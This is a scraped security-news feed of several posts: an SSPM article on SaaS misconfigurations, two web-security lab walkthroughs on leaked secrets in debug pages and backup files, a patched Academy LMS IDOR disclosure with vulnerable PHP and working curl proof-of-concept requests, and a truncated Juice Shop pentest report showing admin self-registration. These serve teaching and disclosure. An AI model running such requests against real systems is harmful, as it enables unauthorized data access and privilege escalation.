<link>https://tsecurity.de/de/3675559/it-security-nachrichten/the-saas-blind-spot-why-security-teams-cant-get-inside-their-own-apps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675559/it-security-nachrichten/the-saas-blind-spot-why-security-teams-cant-get-inside-their-own-apps/</guid>
<pubDate>Fri, 17 Jul 2026 11:09:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Most organizations I work with have invested heavily in cloud security. They have endpoint detection tools, SIEM platforms, cloud security posture management, and skilled security teams running on a 24/7 shift. And yet, when I ask them a simple question — who has admin access in your Salesforce tenant right now? — The room goes quiet. Nobody knows. Not because they are negligent. Because they genuinely cannot see it.</p>



<p class="wp-block-paragraph">That is the SaaS blind spot.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Figure-1-The-Blind-Spot-and-what-SSPM-covers.png?w=1024" alt="Figure 1: The Blind Spot and what SSPM covers" class="wp-image-4197928" width="1024" height="417" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Figure 1: The Blind Spot and what SSPM covers.</em></figcaption></figure><p class="imageCredit">Ashish Mishra</p></div>



<h2 class="wp-block-heading"><a></a>SaaS: Numbers speak volumes</h2>



<p class="wp-block-paragraph">I ask this question in almost every engagement: how many SaaS applications does your organization run? The answers I get range from 30 to maybe 50. The real number, once someone counts, is usually north of three hundred. <a href="https://appomni.com/press-releases/new-state-of-saas-security-report-2024/">AppOmni’s 2024 research</a> put it even higher — 49% of Microsoft 365 organizations believed they had fewer than ten apps connected to their tenant when the actual average was over a thousand.</p>



<p class="wp-block-paragraph">Here is the part that concerns me more than the count. Of all those applications, security teams have clear sight into maybe one in 10. The rest — where your customer records live, where your source code sits, where your financial reports get shared — nobody is watching. Not because the team is careless. Because the tools they have were never built to look there.</p>



<p class="wp-block-paragraph">The following incidents will discuss these realities.</p>



<h3 class="wp-block-heading"><a></a>Salesforce in 2023</h3>



<p class="wp-block-paragraph">In April 2023, <a href="https://krebsonsecurity.com/2023/04/many-public-salesforce-sites-are-leaking-private-data/">KrebsOnSecurity</a> broke the story — Salesforce Community sites were quietly leaking sensitive data belonging to government agencies, banks, and healthcare providers. No sophisticated attack technique. Just the right API endpoint and a misconfigured guest user profile. The exposed records included Social Security numbers, account details, and home addresses. Salesforce was clear in its response: this was not a platform vulnerability. Administrators had misconfigured guest access policies, and nobody had checked.</p>



<p class="wp-block-paragraph">Guest user profiles in Salesforce Communities can be granted access to data records. When administrators set those permissions too broadly — often without realizing it — unauthenticated external users can query that data straight through the API. Over 150,000 companies were potentially sitting in that window before anyone raised the alarm.</p>



<p class="wp-block-paragraph">The pattern is always the same. Configuration made under time pressure, default set slightly too permissive, nobody looks at it again. SaaS applications accumulate these quiet exposures over months and years.</p>



<h3 class="wp-block-heading"><a></a>GitHub in 2022</h3>



<p class="wp-block-paragraph">In April 2022, <a href="https://github.blog/news-insights/company-news/security-alert-stolen-oauth-user-tokens/">GitHub disclosed</a> that an attacker had used stolen OAuth tokens — issued to Heroku and Travis CI — to access and download private repository contents from dozens of organizations, including npm. GitHub’s own systems were never touched. The tokens came from third-party applications that users had authorized to connect to their accounts, and those applications had been quietly compromised.</p>



<p class="wp-block-paragraph">The entry point was not GitHub. It was not even the organizations that lost their data. It was the CI/CD tools those organizations had connected to GitHub months or years earlier — tools that had been granted broad read and write permissions that were never revisited.</p>



<p class="wp-block-paragraph">That is the OAuth problem in plain terms. The moment you authorize a third-party application; its security posture becomes your problem too. Most organizations have dozens of these connections sitting open across their SaaS platforms — and no one reviewing them.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="496" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><em>Figure 2: The 2022 GitHub breach chain.</em></figcaption></figure><p class="imageCredit">Ashish Mishra</p></div>



<h3 class="wp-block-heading"><a></a>Microsoft in 2023</h3>



<p class="wp-block-paragraph">The Microsoft case from 2023 is the one I bring up when people assume this only happens to careless organizations. <a href="https://www.wiz.io/blog/38-terabytes-of-private-data-accidentally-exposed-by-microsoft-ai-researchers">Wiz Research</a> found that Microsoft’s own AI team had exposed 38TB of internal data — private keys, passwords, and more than 30,000 internal Teams messages — through a single misconfigured Azure access token. The token was supposed to share one training dataset on GitHub. Instead, it opened an entire storage account to anyone who found the link.</p>



<p class="wp-block-paragraph">What gets me about this one is the timeline. That token had been sitting there since October 2021. Nearly two years, inside Microsoft, before anyone caught it. If a team with that level of resources and expertise can leave a door open for two years, the idea that “we’d notice” is not much of a security strategy. And it’s worth noting — this wasn’t a database leak. It was Teams messages. The same collaboration tools your employees use every day are just as exposed as the platforms holding structured records.</p>



<h2 class="wp-block-heading"><a></a>Why traditional security tools miss this</h2>



<p class="wp-block-paragraph">Cloud Security Posture Management tools — CSPM — are designed to monitor infrastructure configuration: virtual machines, storage buckets, network rules, and IAM policies at the infrastructure level. They do an acceptable job at that layer. What they do not do is look inside SaaS applications. <a href="https://www.cisa.gov/resources-tools/services/secure-cloud-business-applications-scuba-project">CISA’s Secure Cloud Business Applications (SCuBA) guidance</a> specifically calls out the gap between infrastructure security tools and SaaS-layer visibility as one of the most under addressed areas in enterprise cloud security.</p>



<p class="wp-block-paragraph">This is the gap SSPM was built to close. Instead of watching infrastructure, it watches the configuration of the SaaS applications themselves — permissions, sharing settings, who has access to what. And the distinction is not just academic. Infrastructure misconfigurations tend to expose systems. SaaS misconfigurations tend to expose data — directly, quietly, and often without any detectable attack activity at all.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Figure-3-The-six-core-visibility-capabilities-of-SSPM.png?w=1024" alt="Figure 3: The six core visibility capabilities of SSPM" class="wp-image-4197926" width="1024" height="567" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Figure 3: The six core visibility capabilities of SSPM</em>.</figcaption></figure><p class="imageCredit">Ashish Mishra</p></div>



<h2 class="wp-block-heading"><a></a>What security teams should do now</h2>



<p class="wp-block-paragraph">You do not need to deploy a full SSPM platform tomorrow to start closing the gap. There are practical steps that move the needle immediately.</p>



<ul class="wp-block-list">
<li>Audit connected OAuth applications across your primary SaaS platforms. Revoke any integration that cannot be justified by a current business need.</li>



<li>Common source of public data exposure: Review guest and external sharing permissions in Salesforce Communities and Microsoft SharePoint.</li>



<li>Check whether legacy authentication protocols are disabled in Microsoft 365. Legacy auth bypasses MFA and becomes a potential entry point in enterprise environments.</li>



<li>Establish a quarterly access review for high-privilege accounts in SaaS applications. Most organizations run annual reviews at best — that is not frequent enough for platforms that change configuration daily.</li>



<li>A map of which SaaS applications hold sensitive data, and which have no security team ownership at all. That list will be longer than you expect.</li>
</ul>



<p class="wp-block-paragraph">The core issue is not that organizations are careless. It is that they have built security programs around the perimeter and the infrastructure, and SaaS applications grew up inside that perimeter without ever being brought into scope. The data is there. The access is there. The misconfiguration is often there too. What has been missing is the visibility to see it.</p>



<p class="wp-block-paragraph">SSPM closes that gap. But even before a formal tool is in place, simply asking the question — what can the applications we already run see and share? — is a meaningful first step. In my experience, the answer surprises almost every organization that takes the time to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Lab 2 : Information Disclosure on a Debug Page]]></title>
<description><![CDATA[The VulnerabilityDebug pages are a common byproduct of development. Tools like phpinfo() are incredibly useful while building and troubleshooting an application, since they dump detailed information about the server environment: PHP configuration, loaded modules, environment variables, file paths...]]></description>
<link>https://tsecurity.de/de/3675352/hacking/lab-2-information-disclosure-on-a-debug-page/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675352/hacking/lab-2-information-disclosure-on-a-debug-page/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:43 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>The Vulnerability</h3><p>Debug pages are a common byproduct of development. Tools like phpinfo() are incredibly useful while building and troubleshooting an application, since they dump detailed information about the server environment: PHP configuration, loaded modules, environment variables, file paths, and more.</p><p>The problem is that this same information is a goldmine for an attacker if the page is ever left accessible in production. Environment variables in particular often hold:</p><ul><li>API keys and secrets</li><li>Database credentials</li><li>Session signing keys (like SECRET_KEY)</li><li>Internal service URLs</li></ul><h3>Step-by-Step Solution</h3><h3>1. Browse the application with Burp running</h3><p>With Burp Suite intercepting traffic, I loaded the lab’s home page as a normal user would. This populates Burp’s site map with the page and its underlying requests.</p><h3>2. Search for clues in HTML comments</h3><p>Rather than guessing at hidden paths, I used Burp’s built-in comment finder. In <strong>Target &gt; Site Map</strong>, I right-clicked the top-level entry for the lab and selected <strong>Engagement tools &gt; Find comments</strong>.</p><p>This surfaced an HTML comment on the home page referencing a link labeled “Debug,” pointing to:</p><pre>/cgi-bin/phpinfo.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qsXjEDebrrxUk6tWbqsgZw.png"></figure><h3>3. Send the debug page to Repeater</h3><p>In the site map, I right-clicked the /cgi-bin/phpinfo.php entry and selected <strong>Send to Repeater</strong> to inspect the response more closely.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tyi8cr4GBJ8Nanc0_hwyvQ.png"></figure><h3>4. Retrieve the debug output</h3><p>Sending the request in Repeater returned the full output of a phpinfo() call. This page is normally used to help developers verify their PHP configuration, but here it exposed the server's environment variables in full — including:</p><pre>SECRET_KEY = zz296qa73qpb5t6k6yddcb5pj0fxr387</pre><p>No authentication, no obfuscation — the value was returned directly in the HTTP response body.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7r9Tsfy3wILx5EbUfIr67Q.png"></figure><h3>5. Submit the solution</h3><p>I copied the SECRET_KEY value, returned to the lab, clicked <strong>Submit solution</strong>, and entered it. The lab was marked as solved.gets exposed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y9llcUgaLJTNEcZn_y5iew.png"></figure><p>Written by Zeyad Naguib,<br>🔗 <a href="https://www.linkedin.com/in/zeyadnageeb">https://www.linkedin.com/in/zeyadnageeb</a><br>✍️ <a href="https://medium.com/@zeyadnaguib1">https://medium.com/@zeyadnaguib1</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=5c0295cfbc12" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/lab-2-information-disclosure-on-a-debug-page-5c0295cfbc12">Lab 2 : Information Disclosure on a Debug Page</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[Lab 3 : Source code disclosure via backup files]]></title>
<description><![CDATA[Lab ObjectiveThe goal of this lab is to locate leaked backup files and extract a hard-coded database password from the disclosed source code.Step-by-Step Solution1. Check robots.txt for hidden pathsrobots.txt is designed to tell search engine crawlers which paths not to index :/robots.txtrevealed...]]></description>
<link>https://tsecurity.de/de/3675349/hacking/lab-3-source-code-disclosure-via-backup-files/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675349/hacking/lab-3-source-code-disclosure-via-backup-files/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:39 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Lab Objective</h3><p>The goal of this lab is to locate leaked backup files and extract a hard-coded database password from the disclosed source code.</p><h3>Step-by-Step Solution</h3><h3>1. Check robots.txt for hidden paths</h3><p>robots.txt is designed to tell search engine crawlers which paths <em>not</em> to index :</p><pre>/robots.txt</pre><p>revealed a disallowed /backup directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*immgMfnDuweHpMSvq1MSKg.png"></figure><h3>2. Enumerate the backup directory</h3><p>Browsing directly to /backup surfaced a file named:</p><pre>ProductTemplate.java.bak</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SWdXYo2qj8lWL7McnE3Rfw.png"></figure><h3>3. Retrieve and read the leaked source file</h3><p>Navigating to:</p><pre>/backup/ProductTemplate.java.bak</pre><h3>4. Extract the hard-coded credential</h3><p>Reading through the disclosed source, the database connection logic contained a hard-coded password used to authenticate against a Postgres database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ALxf9SLF4iQJ2ez87_TlEA.png"></figure><h3>5. Submit the solution</h3><p>I copied the password value, returned to the lab, clicked <strong>Submit solution</strong>, and entered it. The lab was marked as solved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ihofmuPt9xxS9TAlUQA-tQ.png"></figure><h3>Written by Zeyad Naguib,<br>🔗 <a href="https://www.linkedin.com/in/zeyadnageeb">https://www.linkedin.com/in/zeyadnageeb</a><br>✍️ <a href="https://medium.com/@zeyadnaguib1">https://medium.com/@zeyadnaguib1</a></h3><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=54b056ee6d36" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/lab-3-source-code-disclosure-via-backup-files-54b056ee6d36">Lab 3 : Source code disclosure via backup files</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers]]></title>
<description><![CDATA[Author: Shikhali Jamalzade GitHub: alisalive LinkedIn: camalzads Type: Independent Security Research | WordPress Plugin CVE ResearchThis is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed a...]]></description>
<link>https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:36 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yTFnySBjd6cxjcwiw7Mxpg.png"></figure><h4>Author: <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a> <br>GitHub: <a href="http://github.com/alisalive">alisalive</a> <br>LinkedIn: <a href="http://linkedin.com/in/camalzads">camalzads</a> <br>Type: Independent Security Research | WordPress Plugin CVE Research</h4><p>This is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed any enrolled student to read another student’s private quiz results and extract the correct answers to quiz questions — before or during an attempt. It was independently confirmed by another researcher, has since been patched, and this write-up is being published after the fix was released.</p><p>Background: Why Academy LMS</p><p>My WordPress plugin research methodology targets plugins in the 500–9,000 active installations range — a zone that tends to receive less security scrutiny than larger plugins while still having enough real-world deployment to matter. For each candidate, I start with passive analysis: reading the changelog for security-related keywords, reviewing the readme, and checking WPScan’s vulnerability history before touching any code.</p><p>Academy LMS caught my attention because its 3.8.1 changelog contained a specific entry: “Fixed — AJAX API vulnerability in the Notes feature.” This is one of the strongest signals I look for. A developer who has already fixed a security issue in one part of a codebase often used the same patterns elsewhere — and those other places sometimes didn’t get fixed at the same time. My hypothesis was simple: if the Notes controller was fixed, what about the Quiz controller?</p><p>This turned out to be exactly the right question.</p><p>Understanding the Architecture</p><p>Academy LMS uses two parallel systems for handling API requests.</p><p>The first is a centralized AJAX handler defined in includes/classes/abstract-ajax-handler.php. Every AJAX action registered through this base class passes through handle_ajax_request(), which enforces nonce validation and capability checks before dispatching to the actual callback. This is a solid design pattern.</p><p>The second system is a collection of REST controllers under includes/api/ and addons/quizzes/api/. Each controller registers its own routes via register_rest_route() and defines its own permission_callback per endpoint. This is where consistency breaks down.</p><p>When I grepped for permission_callback across the entire plugin, the Notes controller showed the correct pattern: every route used array($this, 'permissions_check'), and that function derived the user via get_current_user_id(), never accepting a user identifier from the request. The Notes fix had made this air-tight.</p><p>The Quiz attempts controller told a different story.</p><p>Two routes in addons/quizzes/api/quiz-questions.php used 'permission_callback' =&gt; '__return_true' — meaning no authentication required at all for those endpoints. That was worth noting. But the more serious issue was in addons/quizzes/api/quiz-attempts.php, specifically in the get_student_quiz_attempt_details endpoint.</p><p>The Vulnerability: Two Separate Failure Points</p><p>The get_student_quiz_attempt_details handler had two independent authorization failures that together created a working IDOR.</p><p>Failure point one: the target user was read from the request, not the session.</p><pre>// addons/quizzes/api/quiz-attempts.php, line ~305<br>$student_id = $request-&gt;get_param( 'user_id' );<br>if ( ! $student_id ) {<br>    $student_id = get_current_user_id();<br>}</pre><p>The handler falls back to the session user only if user_id is absent from the request. Any caller who supplies a user_id parameter gets that value used as the target identity. This is the classic IDOR setup: the object being accessed is determined by a client-controlled key.</p><p>Failure point two: the access gate was evaluated against the victim’s context, not the caller’s.</p><pre>// lines ~308-315<br>$is_administrator = current_user_can( 'administrator' );<br>$is_instructor    = \Academy\Helper::is_instructor_of_this_course( $student_id, $course_id );<br>$enrolled         = \Academy\Helper::is_enrolled( $course_id, $student_id );<br>$is_public        = \Academy\Helper::is_public_course( $course_id );</pre><pre>if ( $is_administrator || $is_instructor || $enrolled || $is_public ) {<br>    // returns attempt details<br>}</pre><p>Notice that is_instructor_of_this_course and is_enrolled both receive $student_id — the attacker-controlled value — not get_current_user_id(). So when an attacker supplies a victim's user_id, the gate asks "is the victim enrolled in this course?" rather than "is the caller enrolled in this course?" If the victim is enrolled (which they must be to have a quiz attempt), the gate returns true, and the handler proceeds to fetch and return that victim's data.</p><p>The database query confirmed the full impact:</p><pre>// classes/query.php, get_quiz_attempt_details()<br>"SELECT<br>    attempt_answers.attempt_id,<br>    attempt_answers.user_id,<br>    attempt_answers.is_correct,<br>    attempt_answers.answer as given_answer,<br>    quiz_answers.answer_title as correct_answer,<br>    quiz_answers.answer_content,<br>    quiz_answers.is_correct as is_correct_answer,<br>    quiz_questions.question_title,<br>    quiz_questions.question_type,<br>    ...<br>FROM {$wpdb-&gt;prefix}academy_quiz_attempt_answers as attempt_answers<br>LEFT JOIN {$wpdb-&gt;prefix}academy_quiz_answers as quiz_answers<br>    ON attempt_answers.question_id = quiz_answers.question_id<br>WHERE attempt_answers.attempt_id=%d AND attempt_answers.user_id=%d"</pre><p>The SELECT *-style join pulled answer_title and answer_content from the quiz_answers table — rows that include is_correct=1 entries, meaning the correct answers. The response handed the full set to the caller: every question the victim answered, whether they got it right, and what the correct answer was.</p><p>The same vulnerable function was exposed through two independent entry points. The REST route at /wp-json/academy/v1/quiz_attempts/{id}/get_student_quiz_attempt_details used this logic directly. The AJAX action academy_quizzes/get_student_quiz_attempt_details via /wp-admin/admin-ajax.php used an identical copy of the same handler in addons/quizzes/ajax/frontend.php.</p><p>Both were confirmed exploitable during testing.</p><p>The Contrast with the Fixed Code</p><p>What made this particularly clear-cut was the comparison with the Notes controller. The fix that had been shipped for Notes followed a textbook pattern:</p><pre>// includes/api/notes.php (fixed)<br>public function get_user_notes( $request ) {<br>    $user_id = get_current_user_id();<br>    // ...<br>}</pre><p>No $request-&gt;get_param('user_id'). The user identity is always taken from the authenticated session. The Quiz handler simply never received the same treatment.</p><p>This is a pattern I have seen repeatedly in plugin codebases: a developer identifies and fixes a class of vulnerability in one module, but the fix is not propagated to sibling modules that share the same pattern. The developer who wrote the Notes fix clearly understood the right approach. The Quiz addon was not updated to match.</p><p>Live Proof of Concept</p><p>I reproduced this against a local Docker environment running WordPress with Academy LMS 3.8.2 and the Quizzes addon enabled.</p><p>Actors in the test:</p><ul><li>Attacker: pocsubscriber (user ID 4, Subscriber role), enrolled in a shared course</li><li>Victim: victimstudent (user ID 5, Subscriber role), enrolled in the same course, with a completed quiz attempt containing a seeded correct-answer marker</li></ul><p>The attacker authenticates normally and obtains a valid REST nonce:</p><pre>curl -s -c cj.txt "http://TARGET/wp-login.php" -o /dev/null<br>curl -s -b cj.txt -c cj.txt \<br>  --data-urlencode 'log=pocsubscriber' \<br>  --data-urlencode 'pwd=PASSWORD' \<br>  --data-urlencode 'wp-submit=Log In' \<br>  --data-urlencode 'testcookie=1' \<br>  "http://TARGET/wp-login.php" -o /dev/null</pre><pre>NONCE=$(curl -s -b cj.txt \<br>  "http://TARGET/wp-admin/admin-ajax.php?action=rest-nonce")</pre><p>The attacker then sends a request supplying the victim’s user_id and attempt_id:</p><pre>curl -s -b cj.txt -H "X-WP-Nonce: $NONCE" \<br>  "http://TARGET/wp-json/academy/v1/quiz_attempts/3/get_student_quiz_attempt_details?course_id=32&amp;user_id=5"</pre><p>The response:</p><pre>{<br>  "3": {<br>    "attempt_id": "3",<br>    "user_id": "5",<br>    "is_correct": true,<br>    "given_answer": [],<br>    "correct_answer": [<br>      {<br>        "answer_id": "2",<br>        "quiz_id": "33",<br>        "answer_title": "SECRET_CORRECT_Paris",<br>        "answer_order": "1"<br>      }<br>    ],<br>    "answer_content": "CORRECT_ANSWER_CONTENT",<br>    "question_title": "Capital of France?",<br>    "question_type": "true_false"<br>  }<br>}</pre><p>User ID 4 received user ID 5’s quiz data, including the seeded correct-answer marker SECRET_CORRECT_Paris. The same result was reproduced via the AJAX vector:</p><pre>curl -s -b cj.txt \<br>  --data-urlencode 'action=academy_quizzes/get_student_quiz_attempt_details' \<br>  --data-urlencode 'security=ACADEMY_NONCE' \<br>  --data-urlencode 'course_id=32' \<br>  --data-urlencode 'attempt_id=3' \<br>  --data-urlencode 'user_id=5' \<br>  "http://TARGET/wp-admin/admin-ajax.php"</pre><p>Response: "success": true, same data.</p><p>Impact Assessment</p><p>The impact has two distinct dimensions.</p><p>The first is a straightforward confidentiality breach. Any enrolled student could enumerate other students’ quiz attempts by iterating over sequential attempt_id and user_id integers — both auto-increment, both trivially guessable. For every attempt they could retrieve the submitted answers, whether each answer was correct, and the final score. In an educational context, this is a meaningful privacy violation: a student's quiz performance is personal data.</p><p>The second dimension is academic integrity. The correct_answer field in the response exposes the correct answers to every quiz question, regardless of whether the requester has even started the quiz. A student could query this endpoint before beginning an attempt, extract the answer key, and complete the quiz with full knowledge of all correct answers. Every graded assessment built on the Academy LMS Quizzes addon was affected.</p><p>The required access level was Subscriber — the lowest authenticated role in WordPress. Any user who could create an account and enroll in a course could exploit this. In the free edition, is_public_course() always returns false due to an unregistered hook, so the practical attack surface was authenticated cross-student access within any shared course. This is the normal LMS use case: multiple students in the same course.</p><p>CVSS 3.1 score: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).</p><p>Disclosure Timeline</p><p>Discovery and full proof-of-concept (both vectors confirmed): 2026–07–02</p><p>Vendor notified via email to contact@kodezen.com with full technical description, affected code locations, and suggested remediation: 2026–07–02</p><p>Submitted to WPScan vulnerability database with CVE request: 2026–07–02</p><p>WPScan confirmed the vulnerability was already being tracked (independent discovery, duplicate submission): 2026–07–02</p><p>Fix confirmed in latest version by code review (all $request-&gt;get_param('user_id') references replaced with get_current_user_id() throughout quiz-attempts.php): 2026-07-10</p><p>Write-up published: 2026–07–10</p><p>The Fix</p><p>The vendor addressed the vulnerability by replacing all attacker-controlled user identity references with session-derived values. In the current version of addons/quizzes/api/quiz-attempts.php:</p><pre>// Before (vulnerable):<br>$student_id = $request-&gt;get_param( 'user_id' );<br>if ( ! $student_id ) {<br>    $student_id = get_current_user_id();<br>}</pre><pre>// After (fixed):<br>$current_user_id = get_current_user_id();</pre><p>The access gate now evaluates is_enrolled and is_instructor_of_this_course against the authenticated caller, not a request-supplied identity. The fix was applied consistently across both the REST and AJAX entry points. If you are running Academy LMS with the Quizzes addon, update to the latest version.</p><p>What This Teaches</p><p>A few things stood out during this research that are worth naming explicitly.</p><p>The inconsistent-fix pattern is real and worth hunting deliberately. When a plugin ships a security fix in one module, the most productive next step is to find every module that uses the same pattern and check whether it was updated. In this case, the Notes controller and the Quiz controller shared the same conceptual flaw. The fix applied to Notes in 3.8.1 was not carried through to the Quiz addon. This is not negligence — it is a natural consequence of how security fixes get written. A developer identifies a specific bug, fixes that specific bug, and moves on. The audit that would catch the sibling issue requires a broader view.</p><p>The access gate placement matters as much as the access gate logic. The permission_callback on the REST route only checked whether the caller was logged in and associated with the course in a general sense. It did not check whether the object being requested (the specific attempt) belonged to the caller. Object-level authorization — checking not just “can this user access this resource type” but “can this user access this specific resource instance” — needs to happen at the data retrieval layer, not just at the route entry point. This is the core of what OWASP calls Broken Object-Level Authorization (BOLA), the top item in the OWASP API Security Top 10.</p><p>Sequential integer identifiers make IDOR exploitable at scale. When attempt_id and user_id are both auto-increment database integers, an attacker does not need to know specific values to enumerate the data. They iterate. Opaque identifiers (UUIDs, non-sequential tokens) raise the bar, but they are not a substitute for proper authorization — they only make enumeration harder, not impossible if an attacker has access to any valid identifier. The fix here was correct: enforce ownership at the query layer regardless of identifier type.</p><p><em>If you found this useful, feel free to connect on</em> <a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a> <em>or check out my projects on</em> <a href="http://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=c68bfe06f3a0" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers-c68bfe06f3a0">How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[VAPT Report Example]]></title>
<description><![CDATA[This report documents multiple security vulnerabilities identified in the OWASP Juice Shop application. Each finding is described in detail, including severity assessment, exploitation steps and remediation guidance.Setup OWASP Juice Shop Locally Using DockerInstall DockerRun:docker pull bkimmini...]]></description>
<link>https://tsecurity.de/de/3675301/hacking/vapt-report-example/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675301/hacking/vapt-report-example/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:42 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This report documents multiple security vulnerabilities identified in the OWASP Juice Shop application. Each finding is described in detail, including severity assessment, exploitation steps and remediation guidance.</p><h3>Setup OWASP Juice Shop Locally Using Docker</h3><h3>Install Docker</h3><p>Run:</p><pre>docker pull bkimminich/juice-shop<br>docker run - rm -p 127.0.0.1:3000:3000 bkimminich/juice-shop</pre><p>Browse to:<br> <a href="http://localhost:3000/">http://localhost:3000</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*mwz1GNdYbcw3HOLUQX1vGA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*089pKG_zM-T4UOMGPzYjRw.png"></figure><h3>1. Privilege Escalation via User Registration API</h3><h3>Summary (with CWE)</h3><p>The application allows an attacker to self-register an administrator account by directly invoking the user creation API and supplying the role parameter in the request body. Due to missing server-side authorization and role validation, the backend blindly trusts client input. This results in unauthorized privilege escalation, granting full administrative access without authentication or approval.</p><h3>CWE ID</h3><ul><li>CWE-269 — Improper Privilege Management</li><li>CWE-285 — Improper Authorization</li></ul><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</p><h3>Metrics:</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: High</li></ul><p><strong>CVSS Base Score:</strong> 9.8 (Critical)</p><h3>Description</h3><p>OWASP Juice Shop exposes a user registration API endpoint (/api/Users) that accepts user details in JSON format. The backend fails to enforce role based access control during user creation and allows the client to specify sensitive attributes such as role. An attacker can exploit this flaw by sending a crafted POST request with "role":"admin", resulting in the creation of an administrator account without any authorization checks.</p><p>This vulnerability completely compromises the application, as administrative privileges allow full access to sensitive data and management functions.</p><h3>Steps to Reproduce</h3><ol><li>Send a POST request to: http://localhost:3000/api/Users</li><li>Edit request body and add role parameter: { "role": "admin" }</li><li>Submit the request using Burp Suite.</li><li>The server responds with a successful user creation message.</li><li>Log in using the created credentials.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yEWUogo4-1Uor4o5aDkSyQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tam4-35GCakrERj7NHew5g.png"></figure><h3>Suggested Remediation</h3><ul><li>Enforce server-side role control</li><li>Default role assignment</li><li>Allow admin role assignment only through authenticated admin workflows</li><li>Validate permissions on every sensitive endpoint</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/Top10/A01_2021-Broken_Access_Control/">OWASP Top 10 — Broken Access Control</a></li><li><a href="https://cwe.mitre.org/data/definitions/269.html">CWE-269: Improper Privilege Management</a></li><li><a href="https://cwe.mitre.org/data/definitions/285.html">CWE-285: Improper Authorization</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Project</a></li></ol><h3>2. OAuth Account Takeover</h3><h3>Summary (with CWE)</h3><p>OWASP Juice Shop implements Google OAuth 